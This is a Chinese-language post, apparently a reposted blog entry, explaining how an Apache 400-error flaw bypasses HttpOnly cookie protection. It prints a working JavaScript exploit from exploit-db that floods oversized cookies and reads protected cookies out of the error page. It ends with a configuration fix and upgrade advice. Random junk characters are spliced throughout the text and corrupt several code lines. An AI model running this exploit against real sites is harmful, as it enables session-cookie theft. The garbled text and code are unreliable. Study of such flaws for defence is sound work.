Apache HttpOnly Cookie XSS跨站漏洞

admin

很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题，一般都采用给cookie加上httponly的属性，来禁止直接使用js得到用户的cookie，从而降低xss的危害，而这个问题刚好可以用来绕过cookie的这个httponly的属性。
9 y  B8 h& B. @2 Q3 F( S
用chrome打开一个站点，F12打开开发者工具，找到console输入如下代码并回车:
5 z4 m. w6 ~( J& T+ \) y. c1 m

// http://www.exploit-db.com/exploits/18442/
: c3 c, _; |4 g- @* x" U4 t! xfunction setCookies (good) {
: @* {" Y4 m- a// Construct string for cookie value
+ {3 ~: F, ^- @4 ]5 _5 z, p- Avar str = "";
! G' D: @& Z, T8 r$ `for (var i=0; i< 819; i++) {
str += "x";
" M, _- v! ^6 t1 }# R8 _2 Y}
// Set cookies
for (i = 0; i < 10; i++) {
// Expire evil cookie
. X  Y' ~- }* T% ]# w, b4 ]if (good) {
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
5 C5 ^: H' H# H4 I1 J}
// Set evil cookie
: u/ S( m# S6 r5 Q% @% W/ ?else {
var cookie = "xss"+i+"="+str+";path=/";
}
1 r0 H) b! t* t. T. idocument.cookie = cookie;
! |: E" D* q5 T, B) I}
}
function makeRequest() {
: [( ^9 J/ [. J5 x) H6 usetCookies();
+ F$ E4 C7 r1 h6 t0 Ifunction parseCookies () {
var cookie_dict = {};
" h7 h9 U5 |; a$ n// Only react on 400 status
if (xhr.readyState === 4 && xhr.status === 400) {
! @$ F( D6 u+ _7 L1 }// Replace newlines and match <pre> content
var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
/ m  v" b% r: T& v9 Bif (content.length) {
) G! x3 _' X6 Y( D. v// Remove Cookie: prefix
! ^$ O2 f' t5 }0 g! J8 U+ icontent = content[1].replace("Cookie: ", "");
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
) i; u# K! X* R- s' m8 |& u9 z  _// Add cookies to object
for (var i=0; i<cookies.length; i++) {
: ]$ B1 B) A5 a0 zvar s_c = cookies.split('=',2);
cookie_dict[s_c[0]] = s_c[1];
& O/ P5 ~4 f. ]  q: |8 Z}
}
8 z. q  r2 ^+ g' o8 q// Unset malicious cookies
setCookies(true);
) ]6 Z8 V+ O& [' G' [' z) U: ~alert(JSON.stringify(cookie_dict));
4 }- H1 z" ]$ k( E+ z}
}
. L) ^/ ?( m( c+ `2 h- J9 }1 |// Make XHR request
var xhr = new XMLHttpRequest();
8 X* ]. _# a2 l+ gxhr.onreadystatechange = parseCookies;
xhr.open("GET", "/", true);
. Y! {' m. p5 r/ u$ u& P1 r4 ]5 fxhr.send(null);
( J" V+ U1 |# C9 O, \}
makeRequest();

; ^/ ?! G: C# c: X5 A+ D你就能看见华丽丽的400错误包含着cookie信息。

" E) a1 D* c  B; @& l* ?9 N下载地址：https://gist.github.com/pilate/1955a1c28324d4724b7b/download#
& u1 W" \) }1 K/ o
修复方案：

Apache官方提供4种错误处理方式（http://httpd.apache.org/docs/2.0/mod/core.html#errordocument），如下

) q3 k# l- v; {& N8 uIn the event of a problem or error, Apachecan be configured to do one of four things,

* Z$ s- c; j2 ]6 \8 W+ U1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
2. output acustomized message输出一段信息
3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
4. redirect to an external URL to handle theproblem/error转向一个外部URL

! W. H+ @, H3 {经测试，对于400错误只有方法2有效，返回包不会再包含cookie内容
% h) {' L9 B" s1 ~& V$ i* S
Apache配置：
1 i0 Q( k; w; R
ErrorDocument400 " security test"
2 H, L. |* r# f7 f& p& B, j
$ v( ^" q* i- x, b当然，升级apache到最新也可：）。
% e3 t, U) w0 ~  [# ~4 `6 h
9 S, {- T% i( X参考：http://httpd.apache.org/security/vulnerabilities_22.html
, j: X% b, [( U